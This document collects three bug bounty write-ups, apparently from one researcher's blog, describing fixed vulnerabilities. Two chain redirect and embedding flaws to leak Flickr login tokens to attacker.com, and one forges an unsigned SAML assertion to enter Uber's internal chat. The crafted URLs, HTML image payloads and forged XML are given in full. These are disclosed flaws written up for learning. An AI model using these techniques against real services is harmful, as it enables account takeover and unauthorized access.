Yahoo Bug Bounty: Chaining 3 Minor Issues To Takeover Flickr Accounts

flickr

Flickr is an image and video hosting website which is owned by Yahoo and resides on the flickr.com domain.

To handle authentication on Flickr, requests are made to login.yahoo.com to get an access token for the user.

Overview of the Flickr.com login flow

When a user wants to login to Flickr.com he clicks a sign-in button which redirects him to the following url:

https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Fvalidate%3F.src%3Dflickrsignin%26.pc%3D8190%26.scrumb%3D0%26.pd%3Dc%253DJvVF95K62e6PzdPu7MBv2V8-%26.intl%3Dil%26.done%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dhttps%25253A%25252F%25252Fwww.flickr.com%25252F

This is the Yahoo account login page where a user is prompted to enter his credentials. After completing the login form and clicking login, the user is first redirected to a Yahoo endpoint where his credentials are verified and then, if they are valid, he is redirected back to the following Flickr url:

https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.data={first-token-value}&.ys={second-token-value} 

What happens now is that in the background Flickr verifies the .ys and .data parameters against the Yahoo verification server and logs the user in.

Stealing Flickr.com login tokens

So, it appears that if a user is already logged in to Yahoo and clicks the initial link:

https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https%3A%2F%2Flogin.yahoo.com%2Fconfig%2Fvalidate%3F.src%3Dflickrsignin%26.pc%3D8190%26.scrumb%3D0%26.pd%3Dc%253DJvVF95K62e6PzdPu7MBv2V8-%26.intl%3Dil%26.done%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dhttps%25253A%25252F%25252Fwww.flickr.com%25252F

The flow just happens in the background without the need for a user to enter his credentials in Yahoo. This poses a higher risk of account takeover, due to the fact that the user just needs to click a single link (like in some OAuth implementations) for the authentication to happen for him. Knowing this I have started looking for potential bypass to this flow.

The first thing I have noticed is that the second .done parameter can be manipulated. This parameter actually controls where the login tokens are sent. It appears that Yahoo’s servers only verify that it starts with https://www.flickr.com/signin/yahoo/ but we can still append ../ so if we append ../../test to the .done original value the .ys and .data tokens will be sent to https://www.flickr.com/test endpoint.

So, this gives us a lead since if we find an open redirect somewhere on the https://www.flickr.com/ origin we will be able to send the token to our own server. However, I wasn’t able to find one on the main domain. So, I looked for other ways to leak the token.

After some digging I came across this page: https://www.flickr.com/html.gne?tighten=0&type=comment which states that images can be embedded in the comments on different Flickr pages. I thought that maybe if I could post an external image in a comment, the tokens will be leaked to my own server via the referrer field, since they’re still in the landing url. So I posted a comment on my own uploaded image with following content:

<img src=”https://attacker.com/someimage.jpg”&gt;

The image was really embedded in the comment, but unfortunately Yahoo were manipulating its src  value to the following:

https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&sig=FGQiNHDOtEj7LQDBbYBnwA–~C

That was actually an internal Yahoo proxy so that Flickr won’t be leaking requests to external servers. BUT, it appeared that if I use some browser tricks I can manipulate the Flickr image processing logic. When posting the following comment:

<img src=”\/\/www.attacker.com/someimage.jpg” />

the comment was not manipulated by the proxy and the src value stayed as is. So what should have happened now is that the image will be shown in the comments section of the photo, right? No, also the browser accepts this as a valid url there was some Content Security Policy applied:

Content-Security-Policy:  img-src data: blob: https://*.flickr.com https://*.flickr.net http://*.flickr.net https://*.staticflickr.com http://*.staticflickr.com https://*.yimg.com https://*.yahoo.com https://*.cedexis.com https://*.cedexis-test.com https://*.cedexis-radar.net https://sb.scorecardresearch.com https://image.maps.api.here.com https://csync.yahooapis.com https://*.paypal.com https://*.pinterest.com http://*.static-alpha.flickr.com https://geo-um.btrll.com https://connect.facebook.net https://*.facebook.com https://bs.serving-sys.com https://*.adserver.yahoo.com https://*.maps.api.here.com https://*.maps.cit.api.here.com https://*.ads.yahoo.com https://secure.footprint.net;

The img-src configuration blocked it since it was not on the white list, so I wasn’t actually able to embed external images after all.

Upon understanding this, I have tried to look if there are other endpoints on Flickr that are also allowing comments. After some time, I came across the forums page: https://www.flickr.com/help/forum/en-us/. It appeared that this page also supports the comments html embedding feature. And more importantly it appeared that there is no CSP applied on all https://www.flickr.com/help/forum/* pages.

So I have posted the following comment on a thread in the forum:

<img src=”\/\/www.attacker.com/someimage.jpg” />

And it worked, an external image was embedded here:

https://www.flickr.com/help/forum/en-us/72157668446997150/page14/

So all I had to do now was to construct the final url which looked like this:

https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=cLI6NPLejY6&.scrumb2=GszxN7PzUWX&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2F..%2F..%2Fhelp%2Fforum%2Fen-us%2F72157668446997150%2Fpage14%2F

What happened when a user clicked on the link is that he was redirected to https://www.flickr.com/help/forum/en-us/72157668446997150/page14?data={some-token}&.ys={second-token} and from here the following request was issued by his browser:

GET https://attacker.com/someimage.jpg HTTP/1.1

Host: http://www.attacker.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36

Accept: image/webp,image/*,*/*;q=0.8

Referer: https://www.flickr.com/help/forum/en-us/72157668446997150/page14/?.data={some-token}&.ys={second-token} 

Accept-Encoding: gzip, deflate, sdch, br

Accept-Language: he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.2

As you can see the Referer field contained the tokens which were sent to http://www.attacker.com. So what the attacker had to do now is just browse to the following url in his browser:

https://www.flickr.com/signin/yahoo/?.data={copied from referer}&.ys={copied from referer}

and he was logged in to the victim’s account.

Resolution

Yahoo resolved this by doing several things. First – the .done parameter on the login.yahoo.com endpoint only allows https://www.flickr.com/signin/yahoo/ now as a valid value. The image embedding logic’s bypass using “/\/\” is also fixed. And finally, there is now CSP applied on the Flickr forum.

Timeline:

Apr 2nd 2017 – Initial Report via Hackerone

Apr 3rd 2017 – Report Triaged

Apr 10th 2017 – Report Resolved

Apr 21st 2017 – 7K$ Bounty Rewarded

Uber Bug Bounty: Gaining Access To An Internal Chat System

logo

Uber is an american company which provides ride sharing services over the Internet worldwide.

This post is about a simple, yet pretty severe vulnerability which allowed me to view the company’s internal chat system by abusing their vulnerable SAML implementation.

While searching for assets owned by the company which are in scope for their bug bounty program, I came across the following internal subdomain: https://uchat.uberinternal.com. I was able to find this subdomain by using the https://crt.sh website with the %.uberinternal.com wildcard.

After browsing this subdomain I was prompted with a button suggesting that I should login using the OneLogin SSO:

uchat-3-1024x449

Since I already tested some Uber properties I guessed that this SSO was put in place in order to be used by Uber’s employees, utilizing SAML. Confirmation for this guess was received when the login button forwarded me to the following endpoint:

https://uchat.uberinternal.com/login/sso/saml

The only way I thought of attacking this implementation would be to create a simple SAML assertion and send it to the same endpoint by using a POST request.

Before proceeding with this post, if you are unfamiliar with SAML SSO I recommend you to visit www.economyofmechanism.com to understand the basics of the SAML SSO flow.

I then set out to send a simple XML with no signature at all, in order to check if their SAML implemention indeed verifies the signature. To do this, I sent the following XML as part of a post request:

<samlp:Response xmlns:saml=”urn:oasis:names:tc:SAML:2.0:assertion” xmlns:samlp=”urn:oasis:names:tc:SAML:2.0:protocol” ID=”R0bdb6f33ef84425aa2782eab4483792762f297df” Version=”2.0″ IssueInstant=”2016-05-04T01:37:34Z” Destination=”” InResponseTo=”ONELOGIN_bd24d63eafe235201b1bc636823c84381dbe575c”>
<samlp:Status>
<samlp:StatusCode Value=”urn:oasis:names:tc:SAML:2.0:status:Success”/>
</samlp:Status>
<saml:Assertion xmlns:saml=”urn:oasis:names:tc:SAML:2.0:assertion” xmlns:xs=”http://www.w3.org/2001/XMLSchema&#8221; xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance&#8221; Version=”2.0″ ID=”pfxb75932c2-2e44-d18d-224b-354849a292af” IssueInstant=”2016-05-04T01:37:34Z”>
<saml:Subject>
<saml:NameID Format=”urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress”>
michael@test
</saml:NameID>
<saml:SubjectConfirmation Method=”urn:oasis:names:tc:SAML:2.0:cm:bearer”>
<saml:SubjectConfirmationData NotOnOrAfter=”2016-05-04T01:40:34Z” Recipient=”” InResponseTo=”ONELOGIN_bd24d63eafe235201b1bc636823c84381dbe575c”/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore=”2016-05-04T01:34:34Z” NotOnOrAfter=”2016-05-04T01:40:34Z”>
<saml:AudienceRestriction>
<saml:Audience>
php-saml
</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant=”2016-05-04T01:37:33Z” SessionNotOnOrAfter=”2016-05-05T01:37:34Z” SessionIndex=”_b340ffa0-f3c6-0133-3483-02a5406d9a2f”>
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
</saml:Attribute> <saml:Attribute NameFormat=”urn:oasis:names:tc:SAML:2.0:attrname-format:basic” Name=”Email”>
<saml:AttributeValue xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance&#8221; xsi:type=”xs:string”>
noreply@uber.com
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute NameFormat=”urn:oasis:names:tc:SAML:2.0:attrname-format:basic” Name=”memberOf”>
<saml:AttributeValue xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance&#8221; xsi:type=”xs:string”>
Administrator
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

 

When sending this SAML to the above endpoint, the server responded unexpectedly – instead of saying that my SAML Assertion was invalid since it didn’t contain any signature (to verify the SAML issuer), it responded with the following:

HTTP/1.1 302 Found

Date: Sat, 22 Apr 2017 08:33:35 GMT

Content-Type: text/plain; charset=utf-8

Content-Length: 0

Connection: keep-alive

Server: nginx/1.11.5

Set-Cookie: srv_id=; expires=Sun, 23-Apr-17 08:33:35 GMT; domain=uberinternal.com; path=/

Content-Security-Policy: frame-ancestors ‘self’

Location: /error?title=uchat+%28staging%29+needs+your+help%3A&message=SAML+login+was+unsuccessful+because+one+of+the+attributes+is+incorrect.

+Please+contact+your+System+Administrator.&details=Username+attribute+is+missing&link=%2F&linkmessage=Go+back+to+uChat

X-Cluster-Id: X-Frame-Options:

SAMEORIGIN X-Request-Id: uhg97nm9k3g19reb34gm8t6wjr

X-Version-Id: 3.7.0.90.8fa8ba5e2ac11ee1f038953dfce9edd0.true

I understood that the username field was missing from my assertion so I have added it, and after some more errors (Firstname, and Lastname were also missing) I was actually able to login to the system, without possessing an Uber employee acount:

final-1024x523.png

I was now able to view and access different chat groups of Uber’s employees, spam their channels and potentially login as each of Uber’s employees to any channel, effectively bypassing their authentication scheme.

I immediately reported this to Uber’s security team, who fixed this bug pretty quickly by adding validation of the SAML signature.

Timeline:

Apr 22nd 2017 – Initial report via Hackerone

Apr 25th 2017 – Report needs more info

Apr 25th 2017 – Video sent

Apr 29th 2017 – Report Triaged & 500$ given

May 1st 2017 – Report Resolved

May 1st 2017 – Another 8000$ rewarded

Yahoo Bug Bounty: Exploiting OAuth Misconfiguration To Takeover Flickr Accounts

flickr

Flickr is an image and video hosting website which is owned by Yahoo and resides on the flickr.com domain.

Some time has passed since I have tested Flickr’s login flow, so I have decided to take a look and see if something has changed. Surprisingly, I have noticed that Yahoo implemented the classic OAuth login flow instead of the previous flow described in my previous post.

Overview of the new Flickr.com login flow

When a user wants to login to Flickr.com he clicks a sign-in button which redirects him to the following url:

https://api.login.yahoo.com/oauth2/request_auth?client_id=dj0yJmk9NTJmMkVmOFo3RUVmJmQ9WVdrOVdXeGhVMWx3TjJFbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OA–&redirect_uri=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2Foauth%2F%3Fredir%3Dhttps%253A%252F%252Fwww.flickr.com%252F%253Fytcheck%253D1%2526new_session%253D1&response_type=code&scope=openid%2Csdpp-w&nonce=bb1c92e088f38e9c323fe025d42c405f&.scrumb=jeTYmScEVYq

If the user is not signed in to Yahoo, he is redirected to the Yahoo login page to enter his credentials and then back to the mentioned url. What happens after arriving to the OAuth endpoint is that Yahoo generates a code to identify the logged in user, which is sent back to Flickr via another redirect:

https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1&code={redacted}

What happens now is that in the background Flickr exchanges the code supplied by Yahoo for an access token, and retrieves data about the user using this access token. Flickr now logs the user in and redirects the user to the url passed through the redir parameter.

Taking over Flickr.com accounts

While testing Yahoo’s OAuth implementation I came across this page: https://developer.yahoo.com/oauth2/guide/openid_connect/getting_started.html stating that it’s possible to set the response_type parameter to contain multiple values. I have decided to check what happens if I set the parameter to have the value: code id_token. Surprisingly, instead of sending the code in the query string part of the url to Flickr, Yahoo were appending both the code and the id_token to the fragment part of the url, redirecting me to:

https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1#code={redacted}&id_token={redacted}

As you might know, the fragment part of the url (everything after #) is preserved when handling redirect responses from the server. So using this minor issue, we could potentially leak a victim’s code parameter to anywhere the redirect parameter points to.

However, Flickr only performs the redirect if a valid code is passed to the server via the query string. So, for an attacker to be able to leak the code, he actually needs to generate a code using his own account and then send it as part of the redirect_uri url.

So, we are currently able to leak the code value of a victim to the url passed in the redir parameter. However, it seems that Yahoo correctly verified that the url is of the form: https://www.flickr.com/*.

This means that we need to find an open redirect on flickr.com in order to leak the authentication code to an attacker’s domain. Due to recent findings it was not an easy thing to do.

I was finally able to find such a redirect after downloading the Flickr android application. I have noticed that if the wrong token value is passed to a social sharing endpoint (available though the Flickr app and not available via the website) a redirect is performed to the callback_url parameter:

https://www.flickr.com/sharing_connect.gne?service_type_id=9&token=a&callback_url=https%3A%2F%2F%2Fgoogle.com%2F

So, putting it together the attack flow looks like this:

An attacker generates a Flickr authentication code for his own test account. He then constructs the following url to send to the victim (here we use attacker.com as the attacker’s server):

https://api.login.yahoo.com/oauth2/request_auth?client_id=dj0yJmk9NTJmMkVmOFo3RUVmJmQ9WVdrOVdXeGhVMWx3TjJFbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OA–&redirect_uri=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2Foauth%2F%3Fcode%3D{here-is-the-attacker’s-code}%26redir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsharing_connect.gne%253Fservice_type_id%253D9%2526token%253Da%2526callback_url%253Dhttps%25253A%25252F%25252F%25252Fattacker.com%25252F&response_type=code id_token&scope=openid%2Csdpp-w&nonce=bb1c92e088f38e9c323fe025d42c405f&.scrumb=jeTYmScEVYq

When the victim clicks the link he is redirected to

https://www.flickr.com/signin/yahoo/oauth/?code={here-is-the-attacker’s-code}&redir=https%3A%2F%2Fwww.flickr.com%2Fsharing_connect.gne%3Fservice_type_id%3D9%26token%3Da%26callback_url%3Dhttps%253A%252F%252F%252Fattacker.com%252F#code={victim’s-code}&id_token={victim’s-id_token}

Which now logs the attacker into Flickr on the victim’s browser and redirects the victim to:

https://www.flickr.com/sharing_connect.gne?service_type_id=9&token=a&callback_url=https%3A%2F%2F%2Fattacker.com%2F#code={victim’s-code}&id_token={victim’s-id_token}

Which again redirects the victim to:

https://attacker.com/#code={victim’s-code}&id_token={victim’s-id_token}

What happens here is that using javascript the attacker extracts the code from the url and browses:

https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1&code={victim’s-code}

This will log in the attacker to the victim’s Flickr account.

Timeline:

Aug 13th 2017 – Initial report via Hackerone

Aug 14th 2017 – Report triaged & initial reward of 500$ is given

Aug 15th 2017 – Report resolved (within 5 hours!)

Sep 6th 2017 – Additional 3500$ rewarded